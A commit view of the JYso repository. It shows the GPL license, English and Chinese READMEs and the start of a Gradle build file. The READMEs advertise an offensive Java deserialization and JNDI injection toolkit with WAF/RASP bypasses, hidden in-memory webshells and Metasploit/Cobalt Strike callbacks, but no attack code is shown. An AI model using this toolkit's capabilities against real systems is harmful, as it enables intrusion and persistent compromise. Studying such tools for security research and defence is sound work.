chore: delete CB2 CB4

This commit is contained in:
qi4l
2025-03-06 18:21:51 +08:00
commit 30350fe33e
286 changed files with 24746 additions and 0 deletions
+5
View File
@@ -0,0 +1,5 @@
.idea/
.gradle/
out/
.DS_Store
/build
+674
View File
@@ -0,0 +1,674 @@
GNU GENERAL PUBLIC LICENSE
Version 3, 29 June 2007
Copyright (C) 2007 Free Software Foundation, Inc. <http://fsf.org/>
Everyone is permitted to copy and distribute verbatim copies
of this license document, but changing it is not allowed.
Preamble
The GNU General Public License is a free, copyleft license for
software and other kinds of works.
The licenses for most software and other practical works are designed
to take away your freedom to share and change the works. By contrast,
the GNU General Public License is intended to guarantee your freedom to
share and change all versions of a program--to make sure it remains free
software for all its users. We, the Free Software Foundation, use the
GNU General Public License for most of our software; it applies also to
any other work released this way by its authors. You can apply it to
your programs, too.
When we speak of free software, we are referring to freedom, not
price. Our General Public Licenses are designed to make sure that you
have the freedom to distribute copies of free software (and charge for
them if you wish), that you receive source code or can get it if you
want it, that you can change the software or use pieces of it in new
free programs, and that you know you can do these things.
To protect your rights, we need to prevent others from denying you
these rights or asking you to surrender the rights. Therefore, you have
certain responsibilities if you distribute copies of the software, or if
you modify it: responsibilities to respect the freedom of others.
For example, if you distribute copies of such a program, whether
gratis or for a fee, you must pass on to the recipients the same
freedoms that you received. You must make sure that they, too, receive
or can get the source code. And you must show them these terms so they
know their rights.
Developers that use the GNU GPL protect your rights with two steps:
(1) assert copyright on the software, and (2) offer you this License
giving you legal permission to copy, distribute and/or modify it.
For the developers' and authors' protection, the GPL clearly explains
that there is no warranty for this free software. For both users' and
authors' sake, the GPL requires that modified versions be marked as
changed, so that their problems will not be attributed erroneously to
authors of previous versions.
Some devices are designed to deny users access to install or run
modified versions of the software inside them, although the manufacturer
can do so. This is fundamentally incompatible with the aim of
protecting users' freedom to change the software. The systematic
pattern of such abuse occurs in the area of products for individuals to
use, which is precisely where it is most unacceptable. Therefore, we
have designed this version of the GPL to prohibit the practice for those
products. If such problems arise substantially in other domains, we
stand ready to extend this provision to those domains in future versions
of the GPL, as needed to protect the freedom of users.
Finally, every program is threatened constantly by software patents.
States should not allow patents to restrict development and use of
software on general-purpose computers, but in those that do, we wish to
avoid the special danger that patents applied to a free program could
make it effectively proprietary. To prevent this, the GPL assures that
patents cannot be used to render the program non-free.
The precise terms and conditions for copying, distribution and
modification follow.
TERMS AND CONDITIONS
0. Definitions.
"This License" refers to version 3 of the GNU General Public License.
"Copyright" also means copyright-like laws that apply to other kinds of
works, such as semiconductor masks.
"The Program" refers to any copyrightable work licensed under this
License. Each licensee is addressed as "you". "Licensees" and
"recipients" may be individuals or organizations.
To "modify" a work means to copy from or adapt all or part of the work
in a fashion requiring copyright permission, other than the making of an
exact copy. The resulting work is called a "modified version" of the
earlier work or a work "based on" the earlier work.
A "covered work" means either the unmodified Program or a work based
on the Program.
To "propagate" a work means to do anything with it that, without
permission, would make you directly or secondarily liable for
infringement under applicable copyright law, except executing it on a
computer or modifying a private copy. Propagation includes copying,
distribution (with or without modification), making available to the
public, and in some countries other activities as well.
To "convey" a work means any kind of propagation that enables other
parties to make or receive copies. Mere interaction with a user through
a computer network, with no transfer of a copy, is not conveying.
An interactive user interface displays "Appropriate Legal Notices"
to the extent that it includes a convenient and prominently visible
feature that (1) displays an appropriate copyright notice, and (2)
tells the user that there is no warranty for the work (except to the
extent that warranties are provided), that licensees may convey the
work under this License, and how to view a copy of this License. If
the interface presents a list of user commands or options, such as a
menu, a prominent item in the list meets this criterion.
1. Source Code.
The "source code" for a work means the preferred form of the work
for making modifications to it. "Object code" means any non-source
form of a work.
A "Standard Interface" means an interface that either is an official
standard defined by a recognized standards body, or, in the case of
interfaces specified for a particular programming language, one that
is widely used among developers working in that language.
The "System Libraries" of an executable work include anything, other
than the work as a whole, that (a) is included in the normal form of
packaging a Major Component, but which is not part of that Major
Component, and (b) serves only to enable use of the work with that
Major Component, or to implement a Standard Interface for which an
implementation is available to the public in source code form. A
"Major Component", in this context, means a major essential component
(kernel, window system, and so on) of the specific operating system
(if any) on which the executable work runs, or a compiler used to
produce the work, or an object code interpreter used to run it.
The "Corresponding Source" for a work in object code form means all
the source code needed to generate, install, and (for an executable
work) run the object code and to modify the work, including scripts to
control those activities. However, it does not include the work's
System Libraries, or general-purpose tools or generally available free
programs which are used unmodified in performing those activities but
which are not part of the work. For example, Corresponding Source
includes interface definition files associated with source files for
the work, and the source code for shared libraries and dynamically
linked subprograms that the work is specifically designed to require,
such as by intimate data communication or control flow between those
subprograms and other parts of the work.
The Corresponding Source need not include anything that users
can regenerate automatically from other parts of the Corresponding
Source.
The Corresponding Source for a work in source code form is that
same work.
2. Basic Permissions.
All rights granted under this License are granted for the term of
copyright on the Program, and are irrevocable provided the stated
conditions are met. This License explicitly affirms your unlimited
permission to run the unmodified Program. The output from running a
covered work is covered by this License only if the output, given its
content, constitutes a covered work. This License acknowledges your
rights of fair use or other equivalent, as provided by copyright law.
You may make, run and propagate covered works that you do not
convey, without conditions so long as your license otherwise remains
in force. You may convey covered works to others for the sole purpose
of having them make modifications exclusively for you, or provide you
with facilities for running those works, provided that you comply with
the terms of this License in conveying all material for which you do
not control copyright. Those thus making or running the covered works
for you must do so exclusively on your behalf, under your direction
and control, on terms that prohibit them from making any copies of
your copyrighted material outside their relationship with you.
Conveying under any other circumstances is permitted solely under
the conditions stated below. Sublicensing is not allowed; section 10
makes it unnecessary.
3. Protecting Users' Legal Rights From Anti-Circumvention Law.
No covered work shall be deemed part of an effective technological
measure under any applicable law fulfilling obligations under article
11 of the WIPO copyright treaty adopted on 20 December 1996, or
similar laws prohibiting or restricting circumvention of such
measures.
When you convey a covered work, you waive any legal power to forbid
circumvention of technological measures to the extent such circumvention
is effected by exercising rights under this License with respect to
the covered work, and you disclaim any intention to limit operation or
modification of the work as a means of enforcing, against the work's
users, your or third parties' legal rights to forbid circumvention of
technological measures.
4. Conveying Verbatim Copies.
You may convey verbatim copies of the Program's source code as you
receive it, in any medium, provided that you conspicuously and
appropriately publish on each copy an appropriate copyright notice;
keep intact all notices stating that this License and any
non-permissive terms added in accord with section 7 apply to the code;
keep intact all notices of the absence of any warranty; and give all
recipients a copy of this License along with the Program.
You may charge any price or no price for each copy that you convey,
and you may offer support or warranty protection for a fee.
5. Conveying Modified Source Versions.
You may convey a work based on the Program, or the modifications to
produce it from the Program, in the form of source code under the
terms of section 4, provided that you also meet all of these conditions:
a) The work must carry prominent notices stating that you modified
it, and giving a relevant date.
b) The work must carry prominent notices stating that it is
released under this License and any conditions added under section
7. This requirement modifies the requirement in section 4 to
"keep intact all notices".
c) You must license the entire work, as a whole, under this
License to anyone who comes into possession of a copy. This
License will therefore apply, along with any applicable section 7
additional terms, to the whole of the work, and all its parts,
regardless of how they are packaged. This License gives no
permission to license the work in any other way, but it does not
invalidate such permission if you have separately received it.
d) If the work has interactive user interfaces, each must display
Appropriate Legal Notices; however, if the Program has interactive
interfaces that do not display Appropriate Legal Notices, your
work need not make them do so.
A compilation of a covered work with other separate and independent
works, which are not by their nature extensions of the covered work,
and which are not combined with it such as to form a larger program,
in or on a volume of a storage or distribution medium, is called an
"aggregate" if the compilation and its resulting copyright are not
used to limit the access or legal rights of the compilation's users
beyond what the individual works permit. Inclusion of a covered work
in an aggregate does not cause this License to apply to the other
parts of the aggregate.
6. Conveying Non-Source Forms.
You may convey a covered work in object code form under the terms
of sections 4 and 5, provided that you also convey the
machine-readable Corresponding Source under the terms of this License,
in one of these ways:
a) Convey the object code in, or embodied in, a physical product
(including a physical distribution medium), accompanied by the
Corresponding Source fixed on a durable physical medium
customarily used for software interchange.
b) Convey the object code in, or embodied in, a physical product
(including a physical distribution medium), accompanied by a
written offer, valid for at least three years and valid for as
long as you offer spare parts or customer support for that product
model, to give anyone who possesses the object code either (1) a
copy of the Corresponding Source for all the software in the
product that is covered by this License, on a durable physical
medium customarily used for software interchange, for a price no
more than your reasonable cost of physically performing this
conveying of source, or (2) access to copy the
Corresponding Source from a network server at no charge.
c) Convey individual copies of the object code with a copy of the
written offer to provide the Corresponding Source. This
alternative is allowed only occasionally and noncommercially, and
only if you received the object code with such an offer, in accord
with subsection 6b.
d) Convey the object code by offering access from a designated
place (gratis or for a charge), and offer equivalent access to the
Corresponding Source in the same way through the same place at no
further charge. You need not require recipients to copy the
Corresponding Source along with the object code. If the place to
copy the object code is a network server, the Corresponding Source
may be on a different server (operated by you or a third party)
that supports equivalent copying facilities, provided you maintain
clear directions next to the object code saying where to find the
Corresponding Source. Regardless of what server hosts the
Corresponding Source, you remain obligated to ensure that it is
available for as long as needed to satisfy these requirements.
e) Convey the object code using peer-to-peer transmission, provided
you inform other peers where the object code and Corresponding
Source of the work are being offered to the general public at no
charge under subsection 6d.
A separable portion of the object code, whose source code is excluded
from the Corresponding Source as a System Library, need not be
included in conveying the object code work.
A "User Product" is either (1) a "consumer product", which means any
tangible personal property which is normally used for personal, family,
or household purposes, or (2) anything designed or sold for incorporation
into a dwelling. In determining whether a product is a consumer product,
doubtful cases shall be resolved in favor of coverage. For a particular
product received by a particular user, "normally used" refers to a
typical or common use of that class of product, regardless of the status
of the particular user or of the way in which the particular user
actually uses, or expects or is expected to use, the product. A product
is a consumer product regardless of whether the product has substantial
commercial, industrial or non-consumer uses, unless such uses represent
the only significant mode of use of the product.
"Installation Information" for a User Product means any methods,
procedures, authorization keys, or other information required to install
and execute modified versions of a covered work in that User Product from
a modified version of its Corresponding Source. The information must
suffice to ensure that the continued functioning of the modified object
code is in no case prevented or interfered with solely because
modification has been made.
If you convey an object code work under this section in, or with, or
specifically for use in, a User Product, and the conveying occurs as
part of a transaction in which the right of possession and use of the
User Product is transferred to the recipient in perpetuity or for a
fixed term (regardless of how the transaction is characterized), the
Corresponding Source conveyed under this section must be accompanied
by the Installation Information. But this requirement does not apply
if neither you nor any third party retains the ability to install
modified object code on the User Product (for example, the work has
been installed in ROM).
The requirement to provide Installation Information does not include a
requirement to continue to provide support service, warranty, or updates
for a work that has been modified or installed by the recipient, or for
the User Product in which it has been modified or installed. Access to a
network may be denied when the modification itself materially and
adversely affects the operation of the network or violates the rules and
protocols for communication across the network.
Corresponding Source conveyed, and Installation Information provided,
in accord with this section must be in a format that is publicly
documented (and with an implementation available to the public in
source code form), and must require no special password or key for
unpacking, reading or copying.
7. Additional Terms.
"Additional permissions" are terms that supplement the terms of this
License by making exceptions from one or more of its conditions.
Additional permissions that are applicable to the entire Program shall
be treated as though they were included in this License, to the extent
that they are valid under applicable law. If additional permissions
apply only to part of the Program, that part may be used separately
under those permissions, but the entire Program remains governed by
this License without regard to the additional permissions.
When you convey a copy of a covered work, you may at your option
remove any additional permissions from that copy, or from any part of
it. (Additional permissions may be written to require their own
removal in certain cases when you modify the work.) You may place
additional permissions on material, added by you to a covered work,
for which you have or can give appropriate copyright permission.
Notwithstanding any other provision of this License, for material you
add to a covered work, you may (if authorized by the copyright holders of
that material) supplement the terms of this License with terms:
a) Disclaiming warranty or limiting liability differently from the
terms of sections 15 and 16 of this License; or
b) Requiring preservation of specified reasonable legal notices or
author attributions in that material or in the Appropriate Legal
Notices displayed by works containing it; or
c) Prohibiting misrepresentation of the origin of that material, or
requiring that modified versions of such material be marked in
reasonable ways as different from the original version; or
d) Limiting the use for publicity purposes of names of licensors or
authors of the material; or
e) Declining to grant rights under trademark law for use of some
trade names, trademarks, or service marks; or
f) Requiring indemnification of licensors and authors of that
material by anyone who conveys the material (or modified versions of
it) with contractual assumptions of liability to the recipient, for
any liability that these contractual assumptions directly impose on
those licensors and authors.
All other non-permissive additional terms are considered "further
restrictions" within the meaning of section 10. If the Program as you
received it, or any part of it, contains a notice stating that it is
governed by this License along with a term that is a further
restriction, you may remove that term. If a license document contains
a further restriction but permits relicensing or conveying under this
License, you may add to a covered work material governed by the terms
of that license document, provided that the further restriction does
not survive such relicensing or conveying.
If you add terms to a covered work in accord with this section, you
must place, in the relevant source files, a statement of the
additional terms that apply to those files, or a notice indicating
where to find the applicable terms.
Additional terms, permissive or non-permissive, may be stated in the
form of a separately written license, or stated as exceptions;
the above requirements apply either way.
8. Termination.
You may not propagate or modify a covered work except as expressly
provided under this License. Any attempt otherwise to propagate or
modify it is void, and will automatically terminate your rights under
this License (including any patent licenses granted under the third
paragraph of section 11).
However, if you cease all violation of this License, then your
license from a particular copyright holder is reinstated (a)
provisionally, unless and until the copyright holder explicitly and
finally terminates your license, and (b) permanently, if the copyright
holder fails to notify you of the violation by some reasonable means
prior to 60 days after the cessation.
Moreover, your license from a particular copyright holder is
reinstated permanently if the copyright holder notifies you of the
violation by some reasonable means, this is the first time you have
received notice of violation of this License (for any work) from that
copyright holder, and you cure the violation prior to 30 days after
your receipt of the notice.
Termination of your rights under this section does not terminate the
licenses of parties who have received copies or rights from you under
this License. If your rights have been terminated and not permanently
reinstated, you do not qualify to receive new licenses for the same
material under section 10.
9. Acceptance Not Required for Having Copies.
You are not required to accept this License in order to receive or
run a copy of the Program. Ancillary propagation of a covered work
occurring solely as a consequence of using peer-to-peer transmission
to receive a copy likewise does not require acceptance. However,
nothing other than this License grants you permission to propagate or
modify any covered work. These actions infringe copyright if you do
not accept this License. Therefore, by modifying or propagating a
covered work, you indicate your acceptance of this License to do so.
10. Automatic Licensing of Downstream Recipients.
Each time you convey a covered work, the recipient automatically
receives a license from the original licensors, to run, modify and
propagate that work, subject to this License. You are not responsible
for enforcing compliance by third parties with this License.
An "entity transaction" is a transaction transferring control of an
organization, or substantially all assets of one, or subdividing an
organization, or merging organizations. If propagation of a covered
work results from an entity transaction, each party to that
transaction who receives a copy of the work also receives whatever
licenses to the work the party's predecessor in interest had or could
give under the previous paragraph, plus a right to possession of the
Corresponding Source of the work from the predecessor in interest, if
the predecessor has it or can get it with reasonable efforts.
You may not impose any further restrictions on the exercise of the
rights granted or affirmed under this License. For example, you may
not impose a license fee, royalty, or other charge for exercise of
rights granted under this License, and you may not initiate litigation
(including a cross-claim or counterclaim in a lawsuit) alleging that
any patent claim is infringed by making, using, selling, offering for
sale, or importing the Program or any portion of it.
11. Patents.
A "contributor" is a copyright holder who authorizes use under this
License of the Program or a work on which the Program is based. The
work thus licensed is called the contributor's "contributor version".
A contributor's "essential patent claims" are all patent claims
owned or controlled by the contributor, whether already acquired or
hereafter acquired, that would be infringed by some manner, permitted
by this License, of making, using, or selling its contributor version,
but do not include claims that would be infringed only as a
consequence of further modification of the contributor version. For
purposes of this definition, "control" includes the right to grant
patent sublicenses in a manner consistent with the requirements of
this License.
Each contributor grants you a non-exclusive, worldwide, royalty-free
patent license under the contributor's essential patent claims, to
make, use, sell, offer for sale, import and otherwise run, modify and
propagate the contents of its contributor version.
In the following three paragraphs, a "patent license" is any express
agreement or commitment, however denominated, not to enforce a patent
(such as an express permission to practice a patent or covenant not to
sue for patent infringement). To "grant" such a patent license to a
party means to make such an agreement or commitment not to enforce a
patent against the party.
If you convey a covered work, knowingly relying on a patent license,
and the Corresponding Source of the work is not available for anyone
to copy, free of charge and under the terms of this License, through a
publicly available network server or other readily accessible means,
then you must either (1) cause the Corresponding Source to be so
available, or (2) arrange to deprive yourself of the benefit of the
patent license for this particular work, or (3) arrange, in a manner
consistent with the requirements of this License, to extend the patent
license to downstream recipients. "Knowingly relying" means you have
actual knowledge that, but for the patent license, your conveying the
covered work in a country, or your recipient's use of the covered work
in a country, would infringe one or more identifiable patents in that
country that you have reason to believe are valid.
If, pursuant to or in connection with a single transaction or
arrangement, you convey, or propagate by procuring conveyance of, a
covered work, and grant a patent license to some of the parties
receiving the covered work authorizing them to use, propagate, modify
or convey a specific copy of the covered work, then the patent license
you grant is automatically extended to all recipients of the covered
work and works based on it.
A patent license is "discriminatory" if it does not include within
the scope of its coverage, prohibits the exercise of, or is
conditioned on the non-exercise of one or more of the rights that are
specifically granted under this License. You may not convey a covered
work if you are a party to an arrangement with a third party that is
in the business of distributing software, under which you make payment
to the third party based on the extent of your activity of conveying
the work, and under which the third party grants, to any of the
parties who would receive the covered work from you, a discriminatory
patent license (a) in connection with copies of the covered work
conveyed by you (or copies made from those copies), or (b) primarily
for and in connection with specific products or compilations that
contain the covered work, unless you entered into that arrangement,
or that patent license was granted, prior to 28 March 2007.
Nothing in this License shall be construed as excluding or limiting
any implied license or other defenses to infringement that may
otherwise be available to you under applicable patent law.
12. No Surrender of Others' Freedom.
If conditions are imposed on you (whether by court order, agreement or
otherwise) that contradict the conditions of this License, they do not
excuse you from the conditions of this License. If you cannot convey a
covered work so as to satisfy simultaneously your obligations under this
License and any other pertinent obligations, then as a consequence you may
not convey it at all. For example, if you agree to terms that obligate you
to collect a royalty for further conveying from those to whom you convey
the Program, the only way you could satisfy both those terms and this
License would be to refrain entirely from conveying the Program.
13. Use with the GNU Affero General Public License.
Notwithstanding any other provision of this License, you have
permission to link or combine any covered work with a work licensed
under version 3 of the GNU Affero General Public License into a single
combined work, and to convey the resulting work. The terms of this
License will continue to apply to the part which is the covered work,
but the special requirements of the GNU Affero General Public License,
section 13, concerning interaction through a network will apply to the
combination as such.
14. Revised Versions of this License.
The Free Software Foundation may publish revised and/or new versions of
the GNU General Public License from time to time. Such new versions will
be similar in spirit to the present version, but may differ in detail to
address new problems or concerns.
Each version is given a distinguishing version number. If the
Program specifies that a certain numbered version of the GNU General
Public License "or any later version" applies to it, you have the
option of following the terms and conditions either of that numbered
version or of any later version published by the Free Software
Foundation. If the Program does not specify a version number of the
GNU General Public License, you may choose any version ever published
by the Free Software Foundation.
If the Program specifies that a proxy can decide which future
versions of the GNU General Public License can be used, that proxy's
public statement of acceptance of a version permanently authorizes you
to choose that version for the Program.
Later license versions may give you additional or different
permissions. However, no additional obligations are imposed on any
author or copyright holder as a result of your choosing to follow a
later version.
15. Disclaimer of Warranty.
THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY
APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT
HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY
OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO,
THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM
IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF
ALL NECESSARY SERVICING, REPAIR OR CORRECTION.
16. Limitation of Liability.
IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS
THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY
GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE
USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF
DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD
PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS),
EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF
SUCH DAMAGES.
17. Interpretation of Sections 15 and 16.
If the disclaimer of warranty and limitation of liability provided
above cannot be given local legal effect according to their terms,
reviewing courts shall apply local law that most closely approximates
an absolute waiver of all civil liability in connection with the
Program, unless a warranty or assumption of liability accompanies a
copy of the Program in return for a fee.
END OF TERMS AND CONDITIONS
How to Apply These Terms to Your New Programs
If you develop a new program, and you want it to be of the greatest
possible use to the public, the best way to achieve this is to make it
free software which everyone can redistribute and change under these terms.
To do so, attach the following notices to the program. It is safest
to attach them to the start of each source file to most effectively
state the exclusion of warranty; and each file should have at least
the "copyright" line and a pointer to where the full notice is found.
{one line to give the program's name and a brief idea of what it does.}
Copyright (C) {year} {name of author}
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <http://www.gnu.org/licenses/>.
Also add information on how to contact you by electronic and paper mail.
If the program does terminal interaction, make it output a short
notice like this when it starts in an interactive mode:
{project} Copyright (C) {year} {fullname}
This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
This is free software, and you are welcome to redistribute it
under certain conditions; type `show c' for details.
The hypothetical commands `show w' and `show c' should show the appropriate
parts of the General Public License. Of course, your program's commands
might be different; for a GUI interface, you would use an "about box".
You should also get your employer (if you work as a programmer) or school,
if any, to sign a "copyright disclaimer" for the program, if necessary.
For more information on this, and how to apply and follow the GNU GPL, see
<http://www.gnu.org/licenses/>.
The GNU General Public License does not permit incorporating your program
into proprietary programs. If your program is a subroutine library, you
may consider it more useful to permit linking proprietary applications with
the library. If this is what you want to do, use the GNU Lesser General
Public License instead of this License. But first, please read
<http://www.gnu.org/philosophy/why-not-lgpl.html>.
+87
View File
@@ -0,0 +1,87 @@
<p align="center">
<img src="docs/img/logo.png" width="120">
</p>
<h1 align="center"> JYso </h1>
<p align="center">
<img src="https://img.shields.io/badge/JDK-1.8+-orange" />
<img src="https://img.shields.io/badge/gradle-8.7-blue" />
<img src="https://img.shields.io/badge/SDL-Groovy-green" />
<p align="center"> It can be used as a tool for ysoserial and JNDIExploit at the same time, and has the bypass function of multiple JNDI high versions, WAF, and RASP </p>
## 🚀 Getting Started Guide
📢 Please take a moment to read this document, it will help you quickly get familiar with JYso!
🧐 Use the Documentation [Wiki](https://github.com/qi4L/JYso/wiki).
✔ Download the latest version of [Releases](https://github.com/qi4L/JYso/releases).
## 👍 Features
+ JNDI account password startup
+ JNDI route hiding or encryption
+ JNDI high version Bypass
+ Customize the path, password, HTTP header and value of the memory horse
+ Memory horse supports [Fileless landing Agent insertion](https://xz.aliyun.com/t/10075?time__1311=mq%2BxBD9QDQe4yDBkPoN%2BuDAO%3DnB5x&alichlgref=https%3A%2F%2Fxz.aliyun.com%2Fsearch%3Fkeyword%3Drebeyond)
+ Memory horse writes JRE or environment variables to hide
+ Serialized data plus dirty data
+ [Serialized data is encoded in UTF-8 corresponding to 3 bytes](https://whoopsunix.com/docs/PPPYSO/advance/UTFMIX/)
+ TemplatesImpl _bytecodes feature eliminated and size reduced
+ SignedObject secondary deserialization, can be used to bypass TemplatesImpl blacklist, CC without array and blacklist often seen in CTF, etc.
+ Solve the problem of Shiro Header being too long, get the value of the specified parameter from the request for class loading
+ Dynamically generate obfuscated class names
+ MSF/CS online
+ Code execution through JDBC
If you have other great ideas, please let me know! 😎
## 🐯 Compile
Download gradle8.7+ and configure it in the global environment variable, and execute it in the project root directory
```shell
./gradlew shadowJar
```
## 🌲Directory structure
For more information, please refer to [Directory structure description](docs/directory_structure.md).
## ✨ CTStack
<img src="https://ctstack-oss.oss-cn-beijing.aliyuncs.com/CT%20Stack-2.png" width="30%" />
JYso has joined the [CTStack](https://stack.chaitin.com/tool/detail/1303) community
## ✨ 404StarLink 2.0 - Galaxy
JYso is a member of the 404Team [404StarLink 2.0](https://github.com/knownsec/404StarLink). If you have questions about JYso or want to find a partner to communicate, you can refer to the Starlink group project.
+ https://github.com/knownsec/404StarLink2.0-Galaxy#community
1. [入选2024年KCon兵器谱](https://kcon.knownsec.com/index.php?s=bqp&c=category&id=3)
## 📷 Acknowledgements
- https://github.com/veracode-research/rogue-jndi
- https://github.com/welk1n/JNDI-Injection-Exploit
- https://github.com/welk1n/JNDI-Injection-Bypass
- https://github.com/WhiteHSBG/JNDIExploit
- https://github.com/su18/ysoserial
- https://github.com/rebeyond/Behinder
- https://github.com/Whoopsunix/utf-8-overlong-encoding
- https://github.com/mbechler/marshalsec
- https://t.zsxq.com/17LkqCzk8
- https://mp.weixin.qq.com/s/fcuKNfLXiFxWrIYQPq7OCg
- https://xz.aliyun.com/t/11640?time__1311=mqmx0DBDuDnQ340vo4%2BxCwg%3DQai%3DYzaq4D&alichlgref=https%3A%2F%2Fxz.aliyun.com%2Fu%2F8697
- https://archive.conference.hitb.org/hitbsecconf2021sin/sessions/make-jdbc-attacks-brilliant-again/
- https://tttang.com/archive/1405/#toc_0x03-jdbc-rce
- https://xz.aliyun.com/t/10656?time__1311=mq%2BxBDy7G%3DLOD%2FD0DoYg0%3DDR0HG8KeD&alichlgref=https%3A%2F%2Ftttang.com%2F#toc-7
- https://whoopsunix.com/docs/PPPYSO/advance/UTFMIX/
- https://tttang.com/archive/1405/#toc_groovyclassloader
- https://xz.aliyun.com/t/10656?time__1311=mq%2BxBDy7G%3DLOD%2FD0DoY4AKqiKD%3DOQjqx&alichlgref=https%3A%2F%2Ftttang.com%2F
- https://www.leavesongs.com/PENETRATION/use-tls-proxy-to-exploit-ldaps.html
- https://tttang.com/archive/1405/#toc_druid
+89
View File
@@ -0,0 +1,89 @@
<p align="center">
<img src="docs/img/logo.png" width="120">
</p>
<h1 align="center"> JYso </h1>
<p align="center">
<img src="https://img.shields.io/badge/JDK-1.8+-orange" />
<img src="https://img.shields.io/badge/gradle-8.7-blue" />
<img src="https://img.shields.io/badge/SDL-Groovy-green" />
<p align="center"> 可以同时当做 ysoserial 与 JNDIExploit 使用的工具,同时具备多种JNDI高版本、WAF、RASP的Bypass功能 </p>
<p align="center"> 中文文档 | <a href="README.en.md">English</a> </p>
## 🚀 上手指南
📢 请务必花一点时间阅读此文档,有助于你快速熟悉JYso!
🧐 使用文档[Wiki](https://github.com/qi4L/JYso/wiki)。
✔ 下载最新版本的[Releases](https://github.com/qi4L/JYso/releases)。
## 👍 特点
+ JNDI 账号密码启动
+ JNDI 路由隐藏或加密
+ JNDI 高版本Bypass
+ 自定义修改内存马的路径、密码、验证的HTTP头与值
+ 内存马支持[无文件落地Agent打入](https://xz.aliyun.com/t/10075?time__1311=mq%2BxBD9QDQe4yDBkPoN%2BuDAO%3DnB5x&alichlgref=https%3A%2F%2Fxz.aliyun.com%2Fsearch%3Fkeyword%3Drebeyond)
+ 内存马写入 JRE 或环境变量来隐藏
+ 序列化数据加脏数据
+ [序列化数据进行3字节对应的UTF-8编码](https://whoopsunix.com/docs/PPPYSO/advance/UTFMIX/)
+ TemplatesImpl 的 _bytecodes 特征消除且做了大小缩减
+ SignedObject 二次反序列化,可用于绕过如 TemplatesImpl 黑名单,CTF 中常出现的 CC 无数组加黑名单等
+ 解决 Shiro Header 头部过长,从 request 中获取指定参数的值进行类加载
+ 动态生成混淆的类名
+ MSF/CS 上线
+ 通过JDBC来进行代码执行
如果你有其他很棒的想法请务必告诉我!😎
## 🐯 编译
下载 gradle8.7+ 并配置到全局环境变量中,在项目根目录下执行
```shell
./gradlew shadowJar
```
## 🌲目录结构
更多信息请参阅[目录结构说明](docs/directory_structure.md)。
## ✨ CTStack
<img src="https://ctstack-oss.oss-cn-beijing.aliyuncs.com/CT%20Stack-2.png" width="30%" />
JYso 现已加入 [CTStack](https://stack.chaitin.com/tool/detail/1303) 社区
## ✨ 404StarLink 2.0 - Galaxy
JYso 是 404Team [404StarLink 2.0](https://github.com/knownsec/404StarLink) 中的一环,如果您有 关于JYso的问题或者想找伙伴交流,可以参考星链加群方式项目。
+ https://github.com/knownsec/404StarLink2.0-Galaxy#community
1. [入选2024年KCon兵器谱](https://kcon.knownsec.com/index.php?s=bqp&c=category&id=3)
## 📷 参考
- https://github.com/veracode-research/rogue-jndi
- https://github.com/welk1n/JNDI-Injection-Exploit
- https://github.com/welk1n/JNDI-Injection-Bypass
- https://github.com/WhiteHSBG/JNDIExploit
- https://github.com/su18/ysoserial
- https://github.com/rebeyond/Behinder
- https://github.com/Whoopsunix/utf-8-overlong-encoding
- https://github.com/mbechler/marshalsec
- https://t.zsxq.com/17LkqCzk8
- https://mp.weixin.qq.com/s/fcuKNfLXiFxWrIYQPq7OCg
- https://xz.aliyun.com/t/11640?time__1311=mqmx0DBDuDnQ340vo4%2BxCwg%3DQai%3DYzaq4D&alichlgref=https%3A%2F%2Fxz.aliyun.com%2Fu%2F8697
- https://archive.conference.hitb.org/hitbsecconf2021sin/sessions/make-jdbc-attacks-brilliant-again/
- https://tttang.com/archive/1405/#toc_0x03-jdbc-rce
- https://xz.aliyun.com/t/10656?time__1311=mq%2BxBDy7G%3DLOD%2FD0DoYg0%3DDR0HG8KeD&alichlgref=https%3A%2F%2Ftttang.com%2F#toc-7
- https://whoopsunix.com/docs/PPPYSO/advance/UTFMIX/
- https://tttang.com/archive/1405/#toc_groovyclassloader
- https://xz.aliyun.com/t/10656?time__1311=mq%2BxBDy7G%3DLOD%2FD0DoY4AKqiKD%3DOQjqx&alichlgref=https%3A%2F%2Ftttang.com%2F
- https://www.leavesongs.com/PENETRATION/use-tls-proxy-to-exploit-ldaps.html
- https://tttang.com/archive/1405/#toc_druid
+136
View File
@@ -0,0 +1,136 @@
plugins {
id 'java-library'
id 'maven-publish'
id 'com.gradleup.shadow' version '8.3.5'
id 'java'
}
repositories {
mavenLocal()
maven {
url = uri('https://repo.jenkins-ci.org/releases/')
}
maven {
url = uri('https://repo.maven.apache.org/maven2/')
}
}
shadowJar {
archiveClassifier.set('pre')
manifest {
attributes 'Main-Class': 'com.qi4l.JYso.Starter'
}
zip64=true
//minimize()
}
dependencies {
api libs.io.projectreactor.reactor.core
api libs.com.ibm.websphere.appserver.api.com.ibm.websphere.appserver.api.wsoc
api libs.org.glassfish.tyrus.tyrus.server
api libs.org.javassist.javassist
